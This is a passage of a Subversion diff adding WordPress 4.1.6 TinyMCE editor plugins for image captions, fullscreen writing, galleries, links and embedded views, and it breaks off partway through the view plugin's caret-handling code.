+			// When inserting content, if the caret is inside a caption create new paragraph under
+			// and move the caret there
+			if ( node = dom.getParent( editor.selection.getNode(), 'div.mceTemp' ) ) {
+				p = dom.create( 'p' );
+				dom.insertAfter( p, node );
+				editor.selection.setCursorLocation( p, 0 );
+				editor.nodeChanged();
+			}
+		} else if ( cmd === 'JustifyLeft' || cmd === 'JustifyRight' || cmd === 'JustifyCenter' || cmd === 'wpAlignNone' ) {
+			node = editor.selection.getNode();
+			align = 'align' + cmd.slice( 7 ).toLowerCase();
+			DL = editor.dom.getParent( node, '.wp-caption' );
+
+			if ( node.nodeName !== 'IMG' && ! DL ) {
+				return;
+			}
+
+			node = DL || node;
+
+			if ( editor.dom.hasClass( node, align ) ) {
+				replacement = ' alignnone';
+			} else {
+				replacement = ' ' + align;
+			}
+
+			node.className = node.className.replace( / ?align(left|center|right|none)/g, '' ) + replacement;
+
+			editor.nodeChanged();
+			event.preventDefault();
+
+			if ( floatingToolbar ) {
+				floatingToolbar.reposition();
+			}
+
+			editor.fire( 'ExecCommand', {
+				command: cmd,
+				ui: event.ui,
+				value: event.value
+			} );
+		}
+	});
+
+	editor.on( 'keydown', function( event ) {
+		var node, wrap, P, spacer,
+			selection = editor.selection,
+			keyCode = event.keyCode,
+			dom = editor.dom,
+			VK = tinymce.util.VK;
+
+		if ( keyCode === VK.ENTER ) {
+			// When pressing Enter inside a caption move the caret to a new parapraph under it
+			node = selection.getNode();
+			wrap = dom.getParent( node, 'div.mceTemp' );
+
+			if ( wrap ) {
+				dom.events.cancel( event ); // Doesn't cancel all :(
+
+				// Remove any extra dt and dd cleated on pressing Enter...
+				tinymce.each( dom.select( 'dt, dd', wrap ), function( element ) {
+					if ( dom.isEmpty( element ) ) {
+						dom.remove( element );
+					}
+				});
+
+				spacer = tinymce.Env.ie && tinymce.Env.ie < 11 ? '' : '<br data-mce-bogus="1" />';
+				P = dom.create( 'p', null, spacer );
+
+				if ( node.nodeName === 'DD' ) {
+					dom.insertAfter( P, wrap );
+				} else {
+					wrap.parentNode.insertBefore( P, wrap );
+				}
+
+				editor.nodeChanged();
+				selection.setCursorLocation( P, 0 );
+			}
+		} else if ( keyCode === VK.DELETE || keyCode === VK.BACKSPACE ) {
+			node = selection.getNode();
+
+			if ( node.nodeName === 'DIV' && dom.hasClass( node, 'mceTemp' ) ) {
+				wrap = node;
+			} else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) {
+				wrap = dom.getParent( node, 'div.mceTemp' );
+			}
+
+			if ( wrap ) {
+				dom.events.cancel( event );
+				removeImage( node );
+				return false;
+			}
+		}
+	});
+
+	// After undo/redo FF seems to set the image height very slowly when it is set to 'auto' in the CSS.
+	// This causes image.getBoundingClientRect() to return wrong values and the resize handles are shown in wrong places.
+	// Collapse the selection to remove the resize handles.
+	if ( tinymce.Env.gecko ) {
+		editor.on( 'undo redo', function() {
+			if ( editor.selection.getNode().nodeName === 'IMG' ) {
+				editor.selection.collapse();
+			}
+		});
+	}
+
+	editor.wpSetImgCaption = function( content ) {
+		return parseShortcode( content );
+	};
+
+	editor.wpGetImgCaption = function( content ) {
+		return getShortcode( content );
+	};
+
+	editor.on( 'BeforeSetContent', function( event ) {
+		if ( event.format !== 'raw' ) {
+			event.content = editor.wpSetImgCaption( event.content );
+		}
+	});
+
+	editor.on( 'PostProcess', function( event ) {
+		if ( event.get ) {
+			event.content = editor.wpGetImgCaption( event.content );
+		}
+	});
+
+	return {
+		_do_shcode: parseShortcode,
+		_get_shcode: getShortcode
+	};
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpfullscreen/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpfullscreen/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpfullscreen/plugin.js	(revision 33402)
@@ -0,0 +1,76 @@
+/* global tinymce */
+/**
+ * WP Fullscreen (Distraction-Free Writing) TinyMCE plugin
+ */
+tinymce.PluginManager.add( 'wpfullscreen', function( editor ) {
+	var settings = editor.settings;
+
+	function fullscreenOn() {
+		settings.wp_fullscreen = true;
+		editor.dom.addClass( editor.getDoc().documentElement, 'wp-fullscreen' );
+		// Start auto-resizing
+		editor.execCommand( 'wpAutoResizeOn' );
+	}
+
+	function fullscreenOff() {
+		settings.wp_fullscreen = false;
+		editor.dom.removeClass( editor.getDoc().documentElement, 'wp-fullscreen' );
+		// Stop auto-resizing
+		editor.execCommand( 'wpAutoResizeOff' );
+	}
+
+	// For use from outside the editor.
+	editor.addCommand( 'wpFullScreenOn', fullscreenOn );
+	editor.addCommand( 'wpFullScreenOff', fullscreenOff );
+
+	function getExtAPI() {
+		return ( typeof wp !== 'undefined' && wp.editor && wp.editor.fullscreen );
+	}
+
+	// Toggle DFW mode. For use from inside the editor.
+	function toggleFullscreen() {
+		var fullscreen = getExtAPI();
+
+		if ( fullscreen ) {
+			if ( editor.getParam('wp_fullscreen') ) {
+				fullscreen.off();
+			} else {
+				fullscreen.on();
+			}
+		}
+	}
+
+	editor.addCommand( 'wpFullScreen', toggleFullscreen );
+
+	editor.on( 'keydown', function( event ) {
+		var fullscreen;
+
+		// Turn fullscreen off when Esc is pressed.
+		if ( event.keyCode === 27 && ( fullscreen = getExtAPI() ) && fullscreen.settings.visible ) {
+			fullscreen.off();
+		}
+	});
+
+	editor.on( 'init', function() {
+		// Set the editor when initializing from whitin DFW
+		if ( editor.getParam('wp_fullscreen') ) {
+			fullscreenOn();
+		}
+	});
+
+	// Register buttons
+	editor.addButton( 'wp_fullscreen', {
+		tooltip: 'Distraction-free writing mode',
+		shortcut: 'Alt+Shift+W',
+		onclick: toggleFullscreen,
+		classes: 'wp-fullscreen btn widget' // This overwrites all classes on the container!
+	});
+
+	editor.addMenuItem( 'wp_fullscreen', {
+		text: 'Distraction-free writing mode',
+		icon: 'wp_fullscreen',
+		shortcut: 'Alt+Shift+W',
+		context: 'view',
+		onclick: toggleFullscreen
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpgallery/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpgallery/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpgallery/plugin.js	(revision 33402)
@@ -0,0 +1,112 @@
+/* global tinymce */
+tinymce.PluginManager.add('wpgallery', function( editor ) {
+
+	function replaceGalleryShortcodes( content ) {
+		return content.replace( /\[gallery([^\]]*)\]/g, function( match ) {
+			return html( 'wp-gallery', match );
+		});
+	}
+
+	function html( cls, data ) {
+		data = window.encodeURIComponent( data );
+		return '<img src="' + tinymce.Env.transparentSrc + '" class="wp-media mceItem ' + cls + '" ' +
+			'data-wp-media="' + data + '" data-mce-resize="false" data-mce-placeholder="1" />';
+	}
+
+	function restoreMediaShortcodes( content ) {
+		function getAttr( str, name ) {
+			name = new RegExp( name + '=\"([^\"]+)\"' ).exec( str );
+			return name ? window.decodeURIComponent( name[1] ) : '';
+		}
+
+		return content.replace( /(?:<p(?: [^>]+)?>)*(<img [^>]+>)(?:<\/p>)*/g, function( match, image ) {
+			var data = getAttr( image, 'data-wp-media' );
+
+			if ( data ) {
+				return '<p>' + data + '</p>';
+			}
+
+			return match;
+		});
+	}
+
+	function editMedia( node ) {
+		var gallery, frame, data;
+
+		if ( node.nodeName !== 'IMG' ) {
+			return;
+		}
+
+		// Check if the `wp.media` API exists.
+		if ( typeof wp === 'undefined' || ! wp.media ) {
+			return;
+		}
+
+		data = window.decodeURIComponent( editor.dom.getAttrib( node, 'data-wp-media' ) );
+
+		// Make sure we've selected a gallery node.
+		if ( editor.dom.hasClass( node, 'wp-gallery' ) && wp.media.gallery ) {
+			gallery = wp.media.gallery;
+			frame = gallery.edit( data );
+
+			frame.state('gallery-edit').on( 'update', function( selection ) {
+				var shortcode = gallery.shortcode( selection ).string();
+				editor.dom.setAttrib( node, 'data-wp-media', window.encodeURIComponent( shortcode ) );
+				frame.detach();
+			});
+		}
+	}
+
+	// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...');
+	editor.addCommand( 'WP_Gallery', function() {
+		editMedia( editor.selection.getNode() );
+	});
+
+	editor.on( 'mouseup', function( event ) {
+		var dom = editor.dom,
+			node = event.target;
+
+		function unselect() {
+			dom.removeClass( dom.select( 'img.wp-media-selected' ), 'wp-media-selected' );
+		}
+
+		if ( node.nodeName === 'IMG' && dom.getAttrib( node, 'data-wp-media' ) ) {
+			// Don't trigger on right-click
+			if ( event.button !== 2 ) {
+				if ( dom.hasClass( node, 'wp-media-selected' ) ) {
+					editMedia( node );
+				} else {
+					unselect();
+					dom.addClass( node, 'wp-media-selected' );
+				}
+			}
+		} else {
+			unselect();
+		}
+	});
+
+	// Display gallery, audio or video instead of img in the element path
+	editor.on( 'ResolveName', function( event ) {
+		var dom = editor.dom,
+			node = event.target;
+
+		if ( node.nodeName === 'IMG' && dom.getAttrib( node, 'data-wp-media' ) ) {
+			if ( dom.hasClass( node, 'wp-gallery' ) ) {
+				event.name = 'gallery';
+			}
+		}
+	});
+
+	editor.on( 'BeforeSetContent', function( event ) {
+		// 'wpview' handles the gallery shortcode when present
+		if ( ! editor.plugins.wpview || typeof wp === 'undefined' || ! wp.mce ) {
+			event.content = replaceGalleryShortcodes( event.content );
+		}
+	});
+
+	editor.on( 'PostProcess', function( event ) {
+		if ( event.get ) {
+			event.content = restoreMediaShortcodes( event.content );
+		}
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wplink/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wplink/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wplink/plugin.js	(revision 33402)
@@ -0,0 +1,63 @@
+/* global tinymce */
+tinymce.PluginManager.add( 'wplink', function( editor ) {
+	var linkButton;
+	
+	// Register a command so that it can be invoked by using tinyMCE.activeEditor.execCommand( 'WP_Link' );
+	editor.addCommand( 'WP_Link', function() {
+		if ( ( ! linkButton || ! linkButton.disabled() ) && typeof window.wpLink !== 'undefined' ) {
+			window.wpLink.open( editor.id );
+		}
+	});
+
+	// WP default shortcut
+	editor.addShortcut( 'alt+shift+a', '', 'WP_Link' );
+	// The "de-facto standard" shortcut, see #27305
+	editor.addShortcut( 'ctrl+k', '', 'WP_Link' );
+
+	function setState( button, node ) {
+		var parent = editor.dom.getParent( node, 'a' ),
+			getView = editor.plugins.wpview ? editor.plugins.wpview.getView : function() { return false; };
+
+		button.disabled( ( editor.selection.isCollapsed() && ! parent ) || ( parent && ! parent.href ) || getView( node ) );
+		button.active( parent && parent.href );
+	}
+
+	editor.addButton( 'link', {
+		icon: 'link',
+		tooltip: 'Insert/edit link',
+		shortcut: 'Alt+Shift+A',
+		cmd: 'WP_Link',
+
+		onPostRender: function() {
+			linkButton = this;
+
+			editor.on( 'nodechange', function( event ) {
+				setState( linkButton, event.element );
+			});
+		}
+	});
+
+	editor.addButton( 'unlink', {
+		icon: 'unlink',
+		tooltip: 'Remove link',
+		cmd: 'unlink',
+
+		onPostRender: function() {
+			var unlinkButton = this;
+
+			editor.on( 'nodechange', function( event ) {
+				setState( unlinkButton, event.element );
+			});
+		}
+	});
+
+	editor.addMenuItem( 'link', {
+		icon: 'link',
+		text: 'Insert link',
+		shortcut: 'Alt+Shift+A',
+		cmd: 'WP_Link',
+		stateSelector: 'a[href]',
+		context: 'insert',
+		prependToContext: true
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpview/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpview/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpview/plugin.js	(revision 33402)
@@ -0,0 +1,718 @@
+/* global tinymce */
+
+/**
+ * WordPress View plugin.
+ */
+tinymce.PluginManager.add( 'wpview', function( editor ) {
+	var selected,
+		Env = tinymce.Env,
+		VK = tinymce.util.VK,
+		TreeWalker = tinymce.dom.TreeWalker,
+		toRemove = false,
+		firstFocus = true,
+		_noop = function() { return false; },
+		isios = /iPad|iPod|iPhone/.test( navigator.userAgent ),
+		cursorInterval, lastKeyDownNode, setViewCursorTries, focus, execCommandView, execCommandBefore;
+
+	function getView( node ) {
+		return getParent( node, 'wpview-wrap' );
+	}
+
+	/**
+	 * Returns the node or a parent of the node that has the passed className.
+	 * Doing this directly is about 40% faster
+	 */
+	function getParent( node, className ) {
+		while ( node && node.parentNode ) {
+			if ( node.className && ( ' ' + node.className + ' ' ).indexOf( ' ' + className + ' ' ) !== -1 ) {
+				return node;
+			}
+
+			node = node.parentNode;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Get the text/shortcode string for a view.
+	 *
+	 * @param view The view wrapper's node
+	 * @returns string The text/shoercode string of the view
+	 */
+	function getViewText( view ) {
+		if ( view = getView( view ) ) {
+			return window.decodeURIComponent( editor.dom.getAttrib( view, 'data-wpview-text' ) || '' );
+		}
+
+		return '';
+	}
+
+	/**
+	 * Set the view's original text/shortcode string
+	 *
+	 * @param view The view wrapper's HTML id or node
+	 * @param text The text string to be set
+	 */
+	function setViewText( view, text ) {
+		view = getView( view );
+
+		if ( view ) {
+			editor.dom.setAttrib( view, 'data-wpview-text', window.encodeURIComponent( text || '' ) );
+			return true;
+		}
+
+		return false;
+	}
+
+	function _stop( event ) {
+		event.stopPropagation();
+	}
+
+	function setViewCursor( before, view ) {
+		var location = before ? 'before' : 'after',
+			offset = before ? 0 : 1;
+		deselect();
+		editor.selection.setCursorLocation( editor.dom.select( '.wpview-selection-' + location, view )[0], offset );
+		editor.nodeChanged();
+	}
+
+	function handleEnter( view, before, key ) {
+		var dom = editor.dom,
+			padNode = dom.create( 'p' );
+
+		if ( ! ( Env.ie && Env.ie < 11 ) ) {
+			padNode.innerHTML = '<br data-mce-bogus="1">';
+		}
+
+		if ( before ) {
+			view.parentNode.insertBefore( padNode, view );
+		} else {
+			dom.insertAfter( padNode, view );
+		}
+
+		deselect();
+
+		if ( before && key === VK.ENTER ) {
+			setViewCursor( before, view );
+		} else {
+			editor.selection.setCursorLocation( padNode, 0 );
+		}
+
+		editor.nodeChanged();
+	}
+
+	function removeView( view ) {
+		// TODO: trigger an event to run a clean up function.
+		// Maybe `jQuery( view ).trigger( 'remove' );`?
+		editor.undoManager.transact( function() {
+			handleEnter( view );
+			editor.dom.remove( view );
+		});
+	}
+
+	function select( viewNode ) {
+		var clipboard,
+			dom = editor.dom;
+
+		if ( ! viewNode ) {
+			return;
+		}
+
+		// Adjust the toolbar position and bail if node is already selected.
+		if ( viewNode === selected ) {
+			adjustToolbarPosition( viewNode );
+			return;
+		}
+
+		// Make sure that the editor is focused.
+		// It is possible that the editor is not focused when the mouse event fires
+		// without focus, the selection will not work properly.
+		editor.getBody().focus();
+
+		deselect();
+		selected = viewNode;
+		dom.setAttrib( viewNode, 'data-mce-selected', 1 );
+		adjustToolbarPosition( viewNode );
+
+		clipboard = dom.create( 'div', {
+			'class': 'wpview-clipboard',
+			'contenteditable': 'true'
+		}, getViewText( viewNode ) );
+
+		editor.dom.select( '.wpview-body', viewNode )[0].appendChild( clipboard );
+
+		// Both of the following are necessary to prevent manipulating the selection/focus
+		dom.bind( clipboard, 'beforedeactivate focusin focusout', _stop );
+		dom.bind( selected, 'beforedeactivate focusin focusout', _stop );
+
+		// select the hidden div
+		if ( isios ) {
+			editor.selection.select( clipboard );
+		} else {
+			editor.selection.select( clipboard, true );
+		}
+
+		editor.nodeChanged();
+		editor.fire( 'wpview-selected', viewNode );
+	}
+
+	function adjustToolbarPosition( viewNode ) {
+		var delta = 0,
+			toolbar = editor.$( viewNode ).find( '.toolbar' ),
+			editorToolbar = tinymce.$( editor.editorContainer ).find( '.mce-toolbar-grp' )[0],
+			editorToolbarBottom = ( editorToolbar && editorToolbar.getBoundingClientRect().bottom ) || 0;
+		
+		if ( toolbar.length && editor.iframeElement ) {
+			// 48 = 43 for the toolbar + 5 buffer
+			delta = viewNode.getBoundingClientRect().top + editor.iframeElement.getBoundingClientRect().top - editorToolbarBottom - 48;
+		}
+
+		if ( delta < 0 ) {
+			toolbar.removeClass( 'mce-arrow-down' ).css({ top: ( -43 + delta * -1 ) });
+		} else if ( delta > 0 && ! toolbar.hasClass( 'mce-arrow-down' ) ) {
+			toolbar.addClass( 'mce-arrow-down' ).css({ top: '' });
+		}
+	}
+
+	/**
+	 * Deselect a selected view and remove clipboard
+	 */
+	function deselect() {
+		var clipboard,
+			dom = editor.dom;
+
+		if ( selected ) {
+			clipboard = editor.dom.select( '.wpview-clipboard', selected )[0];
+			dom.unbind( clipboard );
+			dom.remove( clipboard );
+
+			dom.unbind( selected, 'beforedeactivate focusin focusout click mouseup', _stop );
+			dom.setAttrib( selected, 'data-mce-selected', null );
+		}
+
+		selected = null;
+	}
+
+	// Check if the `wp.mce` API exists.
+	if ( typeof wp === 'undefined' || ! wp.mce ) {
+		return {
+			getViewText: _noop,
+			setViewText: _noop,
+			getView: _noop
+		};
+	}
+
+	// Remove the content of view wrappers from HTML string
+	function emptyViews( content ) {
+		return content.replace(/<div[^>]+data-wpview-text=\"([^"]+)"[^>]*>[\s\S]+?wpview-selection-after[^>]+>(?:&nbsp;|\u00a0)*<\/p><\/div>/g, '$1' );
+	}
+
+	// Prevent adding undo levels on changes inside a view wrapper
+	editor.on( 'BeforeAddUndo', function( event ) {
+		if ( event.lastLevel && emptyViews( event.level.content ) === emptyViews( event.lastLevel.content ) ) {
+			event.preventDefault();
+		}
+	});
+
+	// When the editor's content changes, scan the new content for
+	// matching view patterns, and transform the matches into
+	// view wrappers.
+	editor.on( 'BeforeSetContent', function( event ) {
+		var node;
+
+		if ( ! event.content ) {
+			return;
+		}
+
+		if ( selected ) {
+			removeView( selected );
+		}
+
+		node = editor.selection.getNode();
+
+		// When a url is pasted, only try to embed it when pasted in an empty paragrapgh.
+		if ( event.content.match( /^\s*(https?:\/\/[^\s"]+)\s*$/i ) &&
+			( node.nodeName !== 'P' || node.parentNode !== editor.getBody() || ! editor.dom.isEmpty( node ) ) ) {
+			return;
+		}
+
+		event.content = wp.mce.views.toViews( event.content );
+	});
+
+	// When the editor's content has been updated and the DOM has been
+	// processed, render the views in the document.
+	editor.on( 'SetContent', function() {
+		wp.mce.views.render();
+	});
+
+	// Set the cursor before or after a view when clicking next to it.
+	editor.on( 'click', function( event ) {
+		var x = event.clientX,
+			y = event.clientY,
+			body = editor.getBody(),
+			bodyRect = body.getBoundingClientRect(),
+			first = body.firstChild,
+			firstRect = first.getBoundingClientRect(),
+			last = body.lastChild,
+			lastRect = last.getBoundingClientRect(),
+			view;
+
+		if ( y < firstRect.top && ( view = getView( first ) ) ) {
+			setViewCursor( true, view );
+			event.preventDefault();
+		} else if ( y > lastRect.bottom && ( view = getView( last ) ) ) {
+			setViewCursor( false, view );
+			event.preventDefault();
+		} else {
+			tinymce.each( editor.dom.select( '.wpview-wrap' ), function( view ) {
+				var rect = view.getBoundingClientRect();
+
+				if ( y >= rect.top && y <= rect.bottom ) {
+					if ( x < bodyRect.left ) {
+						setViewCursor( true, view );
+						event.preventDefault();
+					} else if ( x > bodyRect.right ) {
+						setViewCursor( false, view );
+						event.preventDefault();
+					}
+					return;
+				}
+			});
+		}
+	});
+
+	editor.on( 'init', function() {
+		var scrolled = false,
+			selection = editor.selection,
+			MutationObserver = window.MutationObserver || window.WebKitMutationObserver;
+
+		// When a view is selected, ensure content that is being pasted
+		// or inserted is added to a text node (instead of the view).
+		editor.on( 'BeforeSetContent', function() {
+			var walker, target,
+				view = getView( selection.getNode() );
+
+			// If the selection is not within a view, bail.
+			if ( ! view ) {
+				return;
+			}
+
+			if ( ! view.nextSibling || getView( view.nextSibling ) ) {
+				// If there are no additional nodes or the next node is a
+				// view, create a text node after the current view.
+				target = editor.getDoc().createTextNode('');
+				editor.dom.insertAfter( target, view );
+			} else {
+				// Otherwise, find the next text node.
+				walker = new TreeWalker( view.nextSibling, view.nextSibling );
+				target = walker.next();
+			}
+
+			// Select the `target` text node.
+			selection.select( target );
+			selection.collapse( true );
+		});
+
+		editor.dom.bind( editor.getDoc(), 'touchmove', function() {
+			scrolled = true;
+		});
+
+		editor.on( 'mousedown mouseup click touchend', function( event ) {
+			var view = getView( event.target );
+
+			firstFocus = false;
+
+			// Contain clicks inside the view wrapper
+			if ( view ) {
+				event.stopImmediatePropagation();
+				event.preventDefault();
+
+				if ( ( event.type === 'touchend' || event.type === 'mousedown' ) && ! event.metaKey && ! event.ctrlKey ) {
+					if ( editor.dom.hasClass( event.target, 'edit' ) ) {
+						wp.mce.views.edit( view );
+						editor.focus();
+						return false;
+					} else if ( editor.dom.hasClass( event.target, 'remove' ) ) {
+						removeView( view );
+						return false;
+					}
+				}
+
+				if ( event.type === 'touchend' && scrolled ) {
+					scrolled = false;
+				} else {
+					select( view );
+				}
+
+				// Returning false stops the ugly bars from appearing in IE11 and stops the view being selected as a range in FF.
+				// Unfortunately, it also inhibits the dragging of views to a new location.
+				return false;
+			} else {
+				if ( event.type === 'touchend' || event.type === 'mousedown' ) {
+					deselect();
+				}
+			}
+
+			if ( event.type === 'touchend' && scrolled ) {
+				scrolled = false;
+			}
+		}, true );
+
+		if ( MutationObserver ) {
+			new MutationObserver( function() {
+				editor.fire( 'wp-body-class-change' );
+			} )
+			.observe( editor.getBody(), {
+				attributes: true,
+				attributeFilter: ['class']
+			} );
+		}
+	});
+
+	editor.on( 'PreProcess', function( event ) {
+		// Empty the wpview wrap nodes
+		tinymce.each( editor.dom.select( 'div[data-wpview-text]', event.node ), function( node ) {
+			node.textContent = node.innerText = '\u00a0';
+		});
+    });
+
+    editor.on( 'PostProcess', function( event ) {
+		if ( event.content ) {
+			event.content = event.content.replace( /<div [^>]*?data-wpview-text="([^"]*)"[^>]*>[\s\S]*?<\/div>/g, function( match, shortcode ) {
+				if ( shortcode ) {
+					return '<p>' + window.decodeURIComponent( shortcode ) + '</p>';
+				}
+				return ''; // If error, remove the view wrapper
+			});
+		}
+	});
+
+	// Excludes arrow keys, delete, backspace, enter, space bar.
+	// Ref: https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent.keyCode
+	function isSpecialKey( key ) {
+		return ( ( key <= 47 && key !== VK.SPACEBAR && key !== VK.ENTER && key !== VK.DELETE && key !== VK.BACKSPACE && ( key < 37 || key > 40 ) ) ||
+			key >= 224 || // OEM or non-printable
+			( key >= 144 && key <= 150 ) || // Num Lock, Scroll Lock, OEM
+			( key >= 91 && key <= 93 ) || // Windows keys
+			( key >= 112 && key <= 135 ) ); // F keys
+	}
+
+	// (De)select views when arrow keys are used to navigate the content of the editor.
+	editor.on( 'keydown', function( event ) {
+		var key = event.keyCode,
+			dom = editor.dom,
+			selection = editor.selection,
+			node, view, cursorBefore, cursorAfter,
+			range, clonedRange, tempRange;
+
+		if ( selected ) {
+			// Ignore key presses that involve the command or control key, but continue when in combination with backspace or v.
+			// Also ignore the F# keys.
+			if ( ( ( event.metaKey || event.ctrlKey ) && key !== VK.BACKSPACE && key !== 86 ) || ( key >= 112 && key <= 123 ) ) {
+				// Remove the view when pressing cmd/ctrl+x on keyup, otherwise the browser can't copy the content.
+				if ( ( event.metaKey || event.ctrlKey ) && key === 88 ) {
+					toRemove = selected;
+				}
+				return;
+			}
+
+			view = getView( selection.getNode() );
+
+			// If the caret is not within the selected view, deselect the view and bail.
+			if ( view !== selected ) {
+				deselect();
+				return;
+			}
+
+			if ( key === VK.LEFT ) {
+				setViewCursor( true, view );
+				event.preventDefault();
+			} else if ( key === VK.UP ) {
+				if ( view.previousSibling ) {
+					if ( getView( view.previousSibling ) ) {
+						setViewCursor( true, view.previousSibling );
+					} else {
+						deselect();
+						selection.select( view.previousSibling, true );
+						selection.collapse();
+					}
+				} else {
+					setViewCursor( true, view );
+				}
+				event.preventDefault();
+			} else if ( key === VK.RIGHT ) {
+				setViewCursor( false, view );
+				event.preventDefault();
+			} else if ( key === VK.DOWN ) {
+				if ( view.nextSibling ) {
+					if ( getView( view.nextSibling ) ) {
+						setViewCursor( false, view.nextSibling );
+					} else {
+						deselect();
+						selection.setCursorLocation( view.nextSibling, 0 );
+					}
+				} else {
+					setViewCursor( false, view );
+				}
+
+				event.preventDefault();
+			// Ignore keys that don't insert anything.
+			} else if ( ! isSpecialKey( key ) ) {
+				removeView( selected );
+
+				if ( key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE ) {
+					event.preventDefault();
+				}
+			}
+		} else {
+			if ( event.metaKey || event.ctrlKey || ( key >= 112 && key <= 123 ) ) {
+				return;
+			}
+
+			node = selection.getNode();
+			lastKeyDownNode = node;
+			view = getView( node );
+
+			// Make sure we don't delete part of a view.
+			// If the range ends or starts with the view, we'll need to trim it.
+			if ( ! selection.isCollapsed() ) {
+				range = selection.getRng();
+
+				if ( view = getView( range.endContainer ) ) {
+					clonedRange = range.cloneRange();
+					selection.select( view.previousSibling, true );
+					selection.collapse();
+					tempRange = selection.getRng();
+					clonedRange.setEnd( tempRange.endContainer, tempRange.endOffset );
+					selection.setRng( clonedRange );
+				} else if ( view = getView( range.startContainer ) ) {
+					clonedRange = range.cloneRange();
+					clonedRange.setStart( view.nextSibling, 0 );
+					selection.setRng( clonedRange );
+				}
+			}
+
+			if ( ! view ) {
+				// Make sure we don't eat any content.
+				if ( event.keyCode === VK.BACKSPACE ) {
+					if ( editor.dom.isEmpty( node ) ) {
+						if ( view = getView( node.previousSibling ) ) {
+							setViewCursor( false, view );
+							editor.dom.remove( node );
+							event.preventDefault();
+						}
+					} else if ( ( range = selection.getRng() ) &&
+							range.startOffset === 0 &&
+							range.endOffset === 0 &&
+							( view = getView( node.previousSibling ) ) ) {
+						setViewCursor( false, view );
+						event.preventDefault();
+					}
+				}
+				return;
+			}
+
+			if ( ! ( ( cursorBefore = dom.hasClass( view, 'wpview-selection-before' ) ) ||
+					( cursorAfter = dom.hasClass( view, 'wpview-selection-after' ) ) ) ) {
+				return;
+			}
+
+			if ( isSpecialKey( key ) ) {
+				// ignore
+				return;
+			}
+
+			if ( ( cursorAfter && key === VK.UP ) || ( cursorBefore && key === VK.BACKSPACE ) ) {
+				if ( view.previousSibling ) {
+					if ( getView( view.previousSibling ) ) {
+						setViewCursor( false, view.previousSibling );
+					} else {
+						if ( dom.isEmpty( view.previousSibling ) && key === VK.BACKSPACE ) {
+							dom.remove( view.previousSibling );
+						} else {
+							selection.select( view.previousSibling, true );
+							selection.collapse();
+						}
+					}
+				} else {
+					setViewCursor( true, view );
+				}
+				event.preventDefault();
+			} else if ( cursorAfter && ( key === VK.DOWN || key === VK.RIGHT ) ) {
+				if ( view.nextSibling ) {
+					if ( getView( view.nextSibling ) ) {
+						setViewCursor( key === VK.RIGHT, view.nextSibling );
+					} else {
+						selection.setCursorLocation( view.nextSibling, 0 );
+					}
+				}
+				event.preventDefault();
+			} else if ( cursorBefore && ( key === VK.UP || key ===  VK.LEFT ) ) {
+				if ( view.previousSibling ) {
+					if ( getView( view.previousSibling ) ) {
+						setViewCursor( key === VK.UP, view.previousSibling );
+					} else {
+						selection.select( view.previousSibling, true );
+						selection.collapse();
+					}
+				}
+				event.preventDefault();
+			} else if ( cursorBefore && key === VK.DOWN ) {
+				if ( view.nextSibling ) {
+					if ( getView( view.nextSibling ) ) {
+						setViewCursor( true, view.nextSibling );
+					} else {
+						selection.setCursorLocation( view.nextSibling, 0 );
+					}
+				} else {
+					setViewCursor( false, view );
+				}
+				event.preventDefault();
+			} else if ( ( cursorAfter && key === VK.LEFT ) || ( cursorBefore && key === VK.RIGHT ) ) {
+				select( view );
+				event.preventDefault();
+			} else if ( cursorAfter && key === VK.BACKSPACE ) {
+				removeView( view );
+				event.preventDefault();
+			} else if ( cursorAfter ) {
+				handleEnter( view );
+			} else if ( cursorBefore ) {
+				handleEnter( view , true, key );
+			}
+
+			if ( key === VK.ENTER ) {
+				event.preventDefault();
+			}
+		}
+	});
+
+	editor.on( 'keyup', function() {
+		if ( toRemove ) {
+			removeView( toRemove );
+			toRemove = false;
+		}
+	});
+
+	editor.on( 'focus', function() {
+		var view;
+
+		focus = true;
+		editor.dom.addClass( editor.getBody(), 'has-focus' );
+
+		// Edge case: show the fake caret when the editor is focused for the first time
+		// and the first element is a view.
+		if ( firstFocus && ( view = getView( editor.getBody().firstChild ) ) ) {
+			setViewCursor( true, view );
+		}
+
+		firstFocus = false;
+	} );
+
+	editor.on( 'blur', function() {
+		focus = false;
+		editor.dom.removeClass( editor.getBody(), 'has-focus' );
+	} );
+
+	editor.on( 'NodeChange', function( event ) {
+		var dom = editor.dom,
+			views = editor.dom.select( '.wpview-wrap' ),
+			className = event.element.className,
+			view = getView( event.element ),
+			lKDN = lastKeyDownNode;
+
+		lastKeyDownNode = false;
+
+		clearInterval( cursorInterval );
+
+		// This runs a lot and is faster than replacing each class separately
+		tinymce.each( views, function ( view ) {
+			if ( view.className ) {
+				view.className = view.className.replace( / ?\bwpview-(?:selection-before|selection-after|cursor-hide)\b/g, '' );
+			}
+		});
+
+		if ( focus && view ) {
+			if ( ( className === 'wpview-selection-before' || className === 'wpview-selection-after' ) &&
+				editor.selection.isCollapsed() ) {
+
+				setViewCursorTries = 0;
+
+				deselect();
+
+				// Make sure the cursor arrived in the right node.
+				// This is necessary for Firefox.
+				if ( lKDN === view.previousSibling ) {
+					setViewCursor( true, view );
+					return;
+				} else if ( lKDN === view.nextSibling ) {
+					setViewCursor( false, view );
+					return;
+				}
+
+				dom.addClass( view, className );
+
+				cursorInterval = setInterval( function() {
+					if ( dom.hasClass( view, 'wpview-cursor-hide' ) ) {
